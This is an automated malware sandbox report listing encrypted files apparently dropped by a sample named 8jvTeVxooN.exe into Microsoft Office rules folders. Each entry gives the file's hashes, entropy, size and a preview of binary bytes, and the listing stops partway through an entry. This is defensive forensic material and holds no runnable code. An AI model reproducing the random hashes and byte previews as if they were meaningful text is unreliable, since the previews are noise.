C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.7428108740593204
Encrypted:	false
SSDEEP:	24:IpJUirmjN8Gq4QjeC/xQiTPQGHsTPZObD:+UOmJ8d5fxQiscsTWD
MD5:	6EC9D176E74AAE0076D9EC1366992BE9
SHA1:	AD6A3D527FF09F9C186AB12A6581E1994357B82D
SHA-256:	BEEB10F09BF988838E956BAAE443F705F0745B844F9B3AE0CCE869EB19F1C4D9
SHA-512:	A541EB5AFB3640247101EF6AC3296495CBE285430B1EC50438F49E3631615E51E40FDDA3C3476BECA18E4FCC82340661A25B7FCC20B85A7B238596588861D77D
Malicious:	false
Preview:	<?xmlu.... t....AI=.8.olb.....~.....3.-.N.Q..5.n.!5j....,..K.@..M.JS.qx;.y.h.u..M.t..U..bmo$..+......UL....V....k...y.g....k.".In..6...+....I..o.T.d..Y`U#....l.B..Q..Zo...r....bw.j.x.<.W..wJ ...b7...9...T..6.[.."F.QE.lZ8.}.{={....J!U0.....o.......t.e...@.).d<.0.F^w.x.>..a{.g...+M..:rb./%s.t..<u...."......D. ..2N.y.FKPK[...:t.Q..`..e...>...4S..R.q.#...5.............A.b..SO.^.8.V.....2'.k~.:..;.N....z!<X.,..........9...F3.!.g.jx.\i..n.>.'......'.k...O../u...\|W.#...H.D\.-...X.3.....%C...g..l...hK_L...o......Q.t..[,..C.....#..sPq4....=<.i3vG...CJt.@.E*...1}.<}.b....y+.{.z...1zM...0![..h.....6]..~.....x.9S8.F;...t,..G..!...:.c.,Q...,s.~......N...(.q.u_.mS.[..z....B.<z.....u...@,...........Eb..6G>6Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.738702185006116
Encrypted:	false
SSDEEP:	12:tquXVpKoOJ1X5VwA+dFTNaVl4Yg8s+bE6SHbXVONijhn1I0QNa3/TwuOcii9a:tqMVpzO1Ja5tNa74WRbQH5+Ahm0Qc3/G
MD5:	31496BFF3A0E6A933CCB29900A0426FF
SHA1:	342862B037208642CBAB425B35BC1712F96FB73B
SHA-256:	441C19E7B7FA292C552870488BEC840F8ACF460494A633E4FA97639E4AA271B6
SHA-512:	196F5C09972AD7FF91909DCF2C7DA98ED9A618616355479843E7C86AE29542AB2AE94B4F36DF102A68083367513BECE984EC43FC36D49EE46307FB8B34E4CD4E
Malicious:	false
Preview:	<?xml...D.=......&..^.5`sU..........[t......%....+`.A.r.a.VP..#mwg.....#..he. d4.Y...!...Q...~.!4......hG ..o.7....S&..-S..VaHbY.7...%.c....Al<...9.7.h.."..k..v"..#.H@...y.....$m.I.....z)."..p0.9...E..0G..B....<h...YA....6sC`Q.\Q{......XyfB..s..dz..N..y:...x...ST....`...P.`....O-..[:..>M.0..JG0s..U.(......r......T......UV...........B.Fi.&.E...z.....?..Z..fw..u...j..~.M<E..CI..........agw'.k.,.h..iS.W.q.......5..a...O.D....'..8.L{K.+..k.8...v<@..7.&<H.2g.(...H.Dar&.P.GDK...wSid.<.. `..yz.g.c....`8j.9..I..r.Qv.}5&..\|&...@...N..a........O^...!.).....W.Q....W..h............>bC,..6O5.+=6k....7m..X..O,.......v......P.u.,...n/A.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.71849495392623
Encrypted:	false
SSDEEP:	24:p2ceHlGN97APzBg/Juay4KB2WLzYeEgXovzBi/kgKmObD:JN9ES/JVY2kYeEgYrUDID
MD5:	F2D1AEB9CD128A842C6BE19A01B499D2
SHA1:	027738FFD67075A47DF37A017C7D98B0077BBF3C
SHA-256:	79543E112779DE73ECEE9AA352579815BBBD7C26C1D639943EDE0B58D371FACC
SHA-512:	EBB8C780A4C16EED9C8B67716435D6FD6DE31D14EE01BC27387DCCA8A7C4FA572681B10D84B60298A00733BE66696A6628A11380212188E314BA7E9834002C59
Malicious:	false
Preview:	<?xml.Uc.o.B_..,Y.U.<s...A.....@q.('0.{,..0qj.3..&r............U......i.y\|..R<."f.pB...mew.......[.A'.z.... .K.Vq.Z..D.....^..l.J....f.G..Z5.J..2...b..u..f...X..a.L..N%t8..A.%..M....2../.f:.0.f>$.~g....T..Y......Q.^.}f..B?Tw..`.r......Y..'.ru.m..j.b..3..t..G..P.s.1.Y....c..g...@\|....nQ<.A..W.Ds.Br/...{<.Z....7..d.._.9f...e........Lf ..U.......`m>...'. MD.W.j65H.H..;.g.. 1w7(...O.h.......5..`x2v.\..k.}e.k...>e...:.V....c.j._.......YL.+.2.7>..j...$h\.:K...i..D~..P..nX.-..I....?...9..su{............<.Q.......e.......p.qTW..F...z:7.y.+...A..L:.;..\5I+...K.}.u.....].\|.7#.=+...3..:..p6.<...y..j<Qr.......L.....C..T8.........S...l...\|;.U.....'X..D.b..5&..jS.'.G...i.>...$..Nc.D`[5%.R......+R.p..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.69410853805767
Encrypted:	false
SSDEEP:	12:AF6mjt9V8dXe7PA75jlnBTBdjd4YMhnJskBTXTfAamnfj8XlpKAenezTj31BvYcw:gt/V3kNhvdmY4JRBrTofIppener/AcB2
MD5:	A95FA2A227CDF71FB1CB032131057A4B
SHA1:	707DABD41BE204F42DFAC845ABCF3D035C4249AB
SHA-256:	B6BA68BAFE8F516164614F73273A213A1D18D741F581904976D4E758099FAD77
SHA-512:	DE677AB9174907813EAD41B82827F781B2E6063010DFF90CADA984849BEF85D7D7F2FB698D6DF72290DD8306B12D83C1B857F4CE8F6EB11FB0CB0576D7EA651F
Malicious:	false
Preview:	<?xml...\| .^....b.B.tM....8..%r{.w....(.....%....l+zt........'F.....]..A{.?p.......,..B.h/\|.....Op...G.W..-.p.q....V.G..P.Z..1O. .h57.u.9^.3..(.h......]......vf..+c..U..c..eW.B._....D.[..U9.....G..p8..N............%@...SG.+r)..,..YF2.u..].."....P.@...J...\...p.7Y.G.$.1...`J.C...\|D..Q....J=u.....-].6.OC...v?...9Yv.T.Azh..u.jy....S.@.9B..f.H9.(.....TUFP_..b.Z..h.%.~k.. C.UT..\\zD.,.k....h..-s.O.-..h.yh.yt....(.oE..p..dmx."....e.#.V]j....!...}..T.<(K.I\QG7..=....b.3.....I.%8.....Fv%.....4.....t.#L.p..!..;i+.>4..!.5n.C...0.PXn.w..y.....p0n.c(U..g.G.... ....\|;QR..^...\.N.}..t..\..#.[?ExF...c.V%..6....l.p..]:..r7........{..At....N.sZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.786343017826016
Encrypted:	false
SSDEEP:	12:SZhlcJ0xfBrXcdVKwqFCa4uxKDkLAM16/sXLsYFprqmC7RkMjuOcii9a:S60hhsVVa4ucDkLAU6UXLsSu37RkpObD
MD5:	53AFDC90550D7A8EFCB30CCC884C1E73
SHA1:	0395504881CC3683A3BC558102E2B3AF2B7672AC
SHA-256:	BE4A76E5D4CE72E6637924815CD70A21798353E95653159FEA008E1EC04BFE4E
SHA-512:	B6E75DE241ABFB64586A09FD5D789AECBBFC8F5B690486E1675E0AFF35F5FC1FE31B1703548359222CBA92C94232F578D436F0E22A74ADFBCB0ACEE4099FB381
Malicious:	false
Preview:	<?xmloWL0.........Li.r.u..y....._;.(.[a#WVD\|.:.f.IaXc.M.]5...p..h.t..4....-...5..7z.~..g.i. }.....0g.<%.a....bI..=.F,.~T.8u.b.h....4..f../.L.......kB..t.s?.I..~5.o....o\I......:A........N....(...p.......>../fx.w.uo$.$. r..B..6.AG.S.;.U.........-.1......F..m;.8..+;..k.Y..o ..;.d'.[..n+....cP.0.WC....y..E...'..:..6.).....e...n........U<P.S.8U.2..Zx..a...a%.......Hr.,......Lq..._..Kt`..i...m.ltR....)&=.-I._.r..~..{..H.}D......A..=.>..Xq(..+]..jM.......96.....`.i...yQ......8......Os.....wA.../.....P.............)\..:.$!....+P.Qx.,_b.j.kH..Y0Ir...p..0?#W!..,..(....mp:.R....3#z..(..y.Q.u....C...c.....@...KZ.l.....B...%.wsk..g.C........6:.o..\..?."aU...a.z...#TX.....!.'....$ij.....{=..q.4.X.V5D.iZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.726529084876347
Encrypted:	false
SSDEEP:	12:OlJJNzta4MebWEdVLH2mdYJLas5VM23YPr+0as12s2jSENUjgfTh3R7uOcii9a:eJvzhCEdVLWPFjd3rUIs2jSC3RqObD
MD5:	F3AE4C1D3DC7B076ABD2A9A43ADF1377
SHA1:	61305FD4698F2CF484D2088F008AE54EB9840296
SHA-256:	FC32CF15ABE53297F55B25A2B657956DF49F1D9F4E92388C9CFB3D5342ED34C2
SHA-512:	887034770600D000F38FBFB0143CAE8F71C01D730552E42AE2747A17783C0126AE43281BE83948CEA2FB201084E7DCDD6808DEACCB4B2E381F86A2BB93DB2A4B
Malicious:	false
Preview:	<?xml~.{.VD.Mq..P,....._...7.;.p;/m...-...c..99.%.....2.#%.J.K..d.U....\|1....O.:..e.S.26.{i...%.....u.z....H.P.............x"L.oA...~.Fx.l[.\|.e;..;>.....w{.n...'...>.Q..k..&I:..2P.....V....~.jS.m..]jI/.........{...6>..&.I.\gp.;6..;.7...9+?..1f.&bx....ZV.....A.OI:.a...GV......W.....y...Pa..I.......-...U7'.. a...Jo..A...1.....?.w.C.+..8..`\..[.D...!..Z^.L..u.l\|B#.y..u...../....}{z..R....P.}.9..qQX.Y..C....k...q.u&.7....Eo...Je1...P~e......CkZ'.....s.G... .CO.!..X...2&.I,.j..o.cY1.(..6T\.J._."5N.ug.;...+o.._._...W......~.hS.ibP........r..?.6.P>J.x-n'..V{....MC.....D..0......m;......Q.1.!.......................Y0Z. ....C}..{......d[Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.745296319857272
Encrypted:	false
SSDEEP:	24:DTFcd1bAGG6GoOe+o6ag53SDFLT2235/BvHMZOcObD:3Fc3/G6Gte+obG3S9SwD
MD5:	E7B5516E2DD25A08273B8D7628AC270B
SHA1:	A8E7080B6151CC50A24FBF374FFB17AFEA364156
SHA-256:	16AB206A4A0EF7F776D01F66763D76CFEAA32BE72A6036701A78361681B1474C
SHA-512:	04D2923DDB19226A3E69838E766DDB994C7EAD348B6922545FD60B2C7DFA604D34C31D29A9D23D8ED7DFD0BAC95F75D31F9B14B16A8E034EDEBFFFF7E37B24B8
Malicious:	false
Preview:	<?xml..~;.sP..h...{.:..T8{4..^.3.....b..A..GE.6....p.\...e{9ym....R43.$r_......8u./..1$.hMm......7....i..s5...Z0.gR.%N@...S.N...8P.Q...A...8S...$...E[G.;..l.......O.U}U...3u.?.L.-+..2.k.n..C.....G..\|....u.l.a..kX0.."....X?}f..?^..Fc..uJ..>.m.]A...]..D$..C.4...6..z..G...7....*p.':8n.....q. ......c....d.{..T._...d..+.7.!N.k1.V...J..p..s..[..wW....c\|..n,s&A......Y.x....P....Z<.....1..gd+.........m.<.r..k.6.b(.J...BrL...>.+.......5E....;9....$...=U6."..6D;.V1,a..1...'..Rv.#...............t,.mD....)........V....'2.\....9..1......n....:....b.^.q.d6R..D..X..d..2... .='...a58..OZtfz.{...Q.%4..(.H...v..{..M9..\|.......R.,.E.}.../.....@.L..G..c.gv..#.../.&..<q'..I>......7.5.p.....l.6]..r..[..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.761804966382425
Encrypted:	false
SSDEEP:	12:rAx+MpHIF6cdHEMFZmELIqwHfwACMbOHwuIepf7xygRE/N+5uOcii9a:rRMpHIF6cdN4ajwHdCMbOHw+xoy8gYOX
MD5:	5A469F2BD192F61C0959E6AAA5B44B43
SHA1:	2C66C189C6385C649A05ABA8FF98E2EE14188878
SHA-256:	354800DF772FF94E410C190C896695E77208BB2CB2992E591C45FE877F601611
SHA-512:	F53E4D8CEA6B93BF3367FE58179F7DBC97D95AE7AB90CCC05FF89C215386E4D04EEE030F45E7614F818C12B9DAB68FE7E680DEB850403755D132E803F4F93D54
Malicious:	false
Preview:	<?xml..g3$...t....`&..l'.G1...B....m.N. ...[...^.Cg...T..0_. .i..b.c.p....)..D.{......2.`t.......qs.?Va.K.d4....7T%....Z..%<......Q.Q....\|4.....P.t...IPq.E.....:D.xY5.j5....{.hC.z....,L...lY$>.w...).....<D..E.AM.F...Z......c..t......G...........P.:..heZ.[..6......}.@!j..Z.+.z;6.Gr....B$.i...6.../.NN...f....&.d...J..,g=1.F.K..eT`.s....@..{.!...Wa..%.C.. ..(M....l.g.j)...bC...D.Y..........-.V.f.&c............9.-'Fr)..A...[@.tx.q..er...k.Y......}_.[.;_q.<...=.9..V..._.....}\..O.e.......9.<...Y.]>o2....[...(...o(..Sc:..-+......#.]..Ux4....x....xw...\|$"...TJ..#d..4.y..}...p42.0u...=dF.U..Y...Mg"Ty..W._....../....5[./T.c..J(gkG..#.E\H.J...Gl8...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.729292615248038
Encrypted:	false
SSDEEP:	12:jEGl3cZoHNFTXcm8FxE/cRIjgNjNf68yseB0n/tqCWKqQ7H7lZ/ZNnjGHuOcii9a:gktFz0S2AgPf6weO/+tQ75hqOObD
MD5:	6CD6F9E815C259A62A826136655C3354
SHA1:	AEB4182D22CD9ED677A00E9AA668DF9FAA390BE5
SHA-256:	FB89B95CF7FE07A106CC137A28ABD359CCA123A5CC7313A81F7D4DF1D0B20A5B
SHA-512:	37C8C699BA58C6EDB3BD9826A2CE7C6A3437AB65A456992BFF912D5D3E1CF83297BB75269BB05617BAC0A6B17A7EE4857B4D032CFBD2951D576A6E8AE9C42701
Malicious:	false
Preview:	<?xml&.gM...0.=R?....sQN.)..v.=73..C.'..}....9.%J....O1..o.AS...O....L..\.7d..^ege..g.\|a..E......c.....jd).}.J..J...(...M...;u.,.a..i..2O......D..l..)....s&..k/.fY..@r..MA...e...?HW...f.?...1<E.....G.x.)@.+A=...79......[J..}..^K......E......Vw\./.S.7.DA"....32D..F..p..\|....^..Y)..M.......3t.{Y..L....V@/.;..._VK..C.........h..T.2.#.?.....-.\|.)....T...&< 2<H...... ,..I..l.R.H.\|...#.t/...=5.Cz++.y.\0.O..!...B~.q..O..v.....aKDf[...Y9.l.......K.G....$Eu.0....n.eQX.DZuKe......mwfk;..;nCf.=....n.....Y\1.Lo..xN(=......\WqkN!..!B.p..?L....qt..%.....3#..........P..Ld3k.O<t.3.L7B .w.+O....T..U.`.E'..........}..lPr..C. .=$;q<.24.t......._....T........^rQ.C.....D....".&.}..m.H.m....._.u.l..,.{.3gM.2.NQZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.717889206636119
Encrypted:	false
SSDEEP:	12:amSQv/uW/hcwy0+6/f0gpbLzvwM1gmG0YCcKY+2FIk+ROojmY80Bfm2h9FpaEYjM:HxGWQ6n0IbXwMeMYTe8ZY80gWTIj7ObD
MD5:	B84C3AA701CB1B5CE996C002A2496F4F
SHA1:	1AE118D9A8C6EF03C4473FB0DB6351EEF029AC6F
SHA-256:	DF943CCD379979376FF231FEF4DA152153B83BAAC8CB8CEC08FB7BB5AA55EDD5
SHA-512:	BDEA5DFB1D4FD353A9F1A497D20E5A8A5340AABB751ACE502F09977DB85F8740539D8CDA4C6464BDA129BDCF07D3224928893923F03F55BF43ACA26E23742092
Malicious:	false
Preview:	<?xml.....Bj&.....Q.....3....%v......K.b^.......3...........p..,e'z..A_.....o $.I.nc..&c....?.....=&)6nRu....S$2..#Z.A.....).L2t...l.I.q...em......A.}..N.e.o].`.&....mz^.....x@=..T.MB..F>.......I.....V.W..B:...r...:Y9...(&`.....]....]..rO.sQ.`ye;]....0.F..V..b...gqV......\|J[e..sK.:...o..P.UY.i.....k._...6.2..R..\.m.v...@..".V.../gl.9.......%"...V..h.....7....L.......b....A....E.%v.Y?..BT.W53...d../.@y...d.....-<....+0..7{1.c=.x.\|...G..R...sf........!.$..vN...r..f.......)....#...`..6b5.1\Y.A...)...DyA.TZP..#..Q~.B6..7..I...+.......O`.............U..y...# ...\|..........>6..@..Mr....[Nk....Z....^v.t.....]xo#.MrJ......:n.84..b.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7430789999637755
Encrypted:	false
SSDEEP:	24:bZKzbczSlxES4IoQfyPbl9fhDEwh31YhMtMjObD:tWbczIxESZo9Dl9SUirYD
MD5:	4B138B9A9EB98079BFE4B57D16FB18C4
SHA1:	7EF3AD84C4DBD1C1A89C730BB77092083B3B9DF7
SHA-256:	B291E07C5A3C76B66A5AFA18B4CE7393213F21B4750F44CD78A121CD72B764D3
SHA-512:	12D47165A7C6DE7971C39C6BD6383D1DB98A3D56A6565F0630B5F84F147EB16F1190E16C004A32B2DD67830FE3AD12096B5078E17B2F6F52DB13181B8F111F78
Malicious:	false
Preview:	<?xmlP.V.kM.]g...F^.V.w=.......q.VJ.).$.v.......X...39..R>.^....@.d>.....m..h...0...v....n..Vt..P..y;)...~[...........Y.a..{H.g...=.5...f....p.........B..7..y..{+n.{5.?z#..........z......8(B..s..Pu.{..j..Gv'.pG.u>..B.j.e..J7B.KW..x..n.X.h.Y.>>A.6\.]...,..!."..x.]..S6....M........a6.u.......R.Vz.@.......;..lU.;..H<..........Y.. q.h.'....X......^....f&n..Wn.u.....@.@.k.,n......i.~&T..s.....U^b...._.7... ...t.;Fi..X..............NV....A.x....p-G5Q-....e#...B.7;..N.Y...Y...........2.o.N+..CEQ...0..h.b4.y.Q..L....9.L#.DF.......i..-.....W......%...H..[......b...;Q.....f.>...nV...x...3S.......6....SYQ.......i..m......arU.n..f..u..F.l....UTg51.H(..i..\sP....n(6.;..?6.. qdaZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.6798594705055505
Encrypted:	false
SSDEEP:	12:paoHhZiRG/qKBhw58eT4sL4YLbx2mCV7MTtnMyMgwiEZMggQtPtAkbBi8o2qjuOX:p3cKBWjf4Y/xLtJEZ/TqSObD
MD5:	B08CD3DA21BF8316EE9507C8C58A858F
SHA1:	9DC3C99FDCC0C3DCD9A845C54CF6985690A2241E
SHA-256:	2A53B5D2FDF392E5237E045133AD0C0328D854595F508006B64424043C306C94
SHA-512:	567C45C32432AA4090D5FB1F6727BDA32E70728A818C88F1C5D69F5763F8A0417F0BE203B8B3BA02D5B941DF64635EDA2A3549E0D2E9F9984BECA8EBE1B75BAF
Malicious:	false
Preview:	<?xml@..S...N.>)U.....[.(..3....1=%r.....^...{Sw+.....Q#\...o.x.Y."Y.(.....z.....N..yN..-.2Q.`.4...4%...w.....#.u...\......WM.X..).`.....@.....H..a.Yx...b....}.+.3....Pg..hO.o.B.#..`.^..2 ..-`.......f.._"iSm......HO.....j.#.:...9NI.^9.U5...{...W..C.`.-.....^...b....Yi?...-.R.XB\..2ww......R-Si.~6....u{a......0.?='S...y.. ..qA.`T.L..>.....k.~=Nt.h...b........A..c..WD.6.(....:.0.E....:.~`...f5<...........l..{k}s....]......:g_........pK..0..5c....q.T.T.C.zM..u....\12..".'^...{A......b..$.!..&.9...4.JVmF.D.W...MU..Fhg....V&.^l\4L...Bp.?.=.....@w\.0...#......-....22.......P.M..Q)..Q7.&...`.z+.N.6s9...\...QGW.]{..W...f.,.q.U..lML.....>.D....4..<4...7z!.+'^..4)Z.P..t.w.."l........Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.760324684285044
Encrypted:	false
SSDEEP:	12:dqE/d6L9Ab2i6o4L8n+ddtyeJr2TI2PY/poFzo9wYqzvYqgJmaft50f24G4nguOX:QiQgtbCTZr/Cm9wTvYqgJmStu/FObD
MD5:	81127E9EB87C55FA346A9E5B9FCEA080
SHA1:	BE099EC886445CEEDFD4F378EECA8E7C63019A34
SHA-256:	5AB75D92B1A1C87D5F529A2FB41A908CD1348FB2CEA8FE5DA60C41660676B815
SHA-512:	5B4A343645331E994AA3A6BB5F1103636681DDB2D91C9065243B10C9EE01766D008E54511B462C4F429467CD085148C3D971C202F4FAD4A21201D0F318878FDE
Malicious:	false
Preview:	<?xmlJAu.......... ..SfqE=J.%..?.......m....u.d.....=}.S...m.0.5..a#.....W......:...Y.'.C#i\|/Cx...~}.z-..0.f..Xg.s.u..B...J0c.9;.#.....e...fH..<....O.K...?((..~8k.d..c.7.T...^.....,....CX.f...t..!.(....d.r>...\|q.?..Bs,.k...Ax.z.>......S9o...R...g.;.+..U.(r...m>5k.5....".......r.?.m...QC>......CL5...N.y.%2y...7.y..[M.aT...a...y...T..Z.."...b?E.{..p...`.....'.@...r.A..<Q}.Lvd.4X....}.g.H+..q..ol4j../.6.j.a.sR...N.2...nv..P.B....<...s.%.`..ny".......<....!.Yh....4..=.. L.L.. ..$fi.........V..DF6.........]Qh.).x..}q+.....).........t'..g..Pq......:....IN.. 5.L.........\|.N..%..`\|@. J....7.1.....r..a4.NW......8w8.....Y..]ZL...'..8h.. n.c.H..D..%..r..H......].4Et.r"..T9;.I.i....bV.2...I.X....8s<[.MZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.689385285258407
Encrypted:	false
SSDEEP:	12:pnViN/sH/fVM0gkqxpGI1i+kwaCqytkTnMD3BTrCyjJZZF/MZHSmH1h2GOpptup2:pnU/KFJgkqxpGI1sw3q7MbxdrirYXEp2
MD5:	8091760182D748420F89C2EC822BA551
SHA1:	4ED0382EBF20447C427F601416CAE66E2FB14C71
SHA-256:	128A6D149CF8B6F9270B301F48E0CAC5A9BADA022AD45A0F0D88CBB52560C2C8
SHA-512:	F701BC9B55720720618EB0AF913A72B1323EB204D24B2025E0D837F9F9C1E373CE12AD2C04A5D53860EEDA9C7CC7F15DB9F07A95F2FD2E3480393A60813F7E27
Malicious:	false
Preview:	<?xml..R........E...1...\Y.S......G..Wl..@z.9x.....n.Y...U....-.{.H....k(...c8....i.......~..%..!...5..)8Z...R....Az...`.e.....:.?...sc9.%?.(..-.9.(..O,D.....6.h..$z=Qy...c7P?.m.....j.....?4.^...n.........)..]2.m&!<.~......p\`k.a....$?..s.xVb.y..".mr.......Q.\$(.h......!8..r.Y.......V.V.......U.F'.Ts.Bg.r.9\..0...\|.Wb.@W....O.+..m...V.....SG.Uf..`dbQ.j.....Ro..Laal..1..}.v4Zc...o..q..&...4.......s-...}3......HCt.B3....A..WbKE...?....y..D.c..5...\|..R...">....ST.>!.r..V.v^[.....Y....1o.}.Q.......Q...G.8.".m/.r..@...+k..2..P&r...m..(>..uH.X+.;(ik=.]'Nn..z....H..1..j...[..\|.+F......,u...gY....`.A'x-...T..>J....L+.F..m.]..\|.!.Z......k.u.4..@QZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.7445886305455165
Encrypted:	false
SSDEEP:	12:U5hNrgX8aobvUdcc0IhjaT36Gx1HJknqeummX5QUQfbINB+HAcM5U1rN9UYX8uOX:o9SczUdc1IhmvxBekDQfbIT+dB9pObD
MD5:	969FA572DE3C10F0C1322A8847B3505E
SHA1:	DC32558600DBBFAEDD239EF940E469E6D707FD56
SHA-256:	E52F0F2C508D8F33E01F253F3E62261A963303AF673686E0BD79001EA27B303D
SHA-512:	B99F268FD958828A7003CB5A7416362B6F03024C7AE48CEE3917D89998C42B26E01B63518F245A4C958894FE429760EDDB5F2968A0DF6410263D73C89BB5F314
Malicious:	false
Preview:	<?xmli=yZ..1vtm..\|.U.....z.W.......&x$G..............#&Y..9(..^....k.AYlf.z.t.z.@....x,;..@.uL......B...J.:...m.Yx_...q.-.\.K.. .c.....(.j.du.....3.}A..J........XS.....E`g..A........u..3&. ...(..CN/.ca(<.....V....<..H.sIj.}6h2..>....B..F9...B\|s.. ..(.4.i.Tb.......ZC..........5.q.t.WN.J......s...}7,Prs\.M)B+.[.k.)H.p.irB=.r{)Q.....J..........V.QN...:... ..B..!U\|kk..^Dp~u...Vc.....9}_.W.p.Q.....1.....g{...J<..?...~.....@/.b...r..f...m.....adl...Aw{...8.Q.K{.x.,wq...~.:..Q...\..9....c.}...`kO....Rj..L..).\|$cA.:.....a5..'.I8.9..]2S.RV7Z..v.S..\.@.y...qX.....q>..f6#....=g.l..o.3.pN.3.c.t...M..k@..d..D.1...v.XJ...g.k)...dy...?.Q..{.O.......$.I..nX.dLk.4..c.h......G.?.r.m..G^..*=.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.681791747379216
Encrypted:	false
SSDEEP:	12:fkAsvzIHK+vuVmxEpc1OjzxWvIz+mFlHSr9iX/X7is5HOom1evy9mFKRbfuOciik:8AAzIHKiuVSEpkv4plHSy/WEI1eqQFKP
MD5:	814883D8DB86E20102A8F20CE8B50B06
SHA1:	D8364D2CA83806E066A6B92164AB466876DA60B7
SHA-256:	C5214CEDCF6BFA37B43EAE850EF3088757FF6E5C294611A4B7A5DA8EC2BA3742
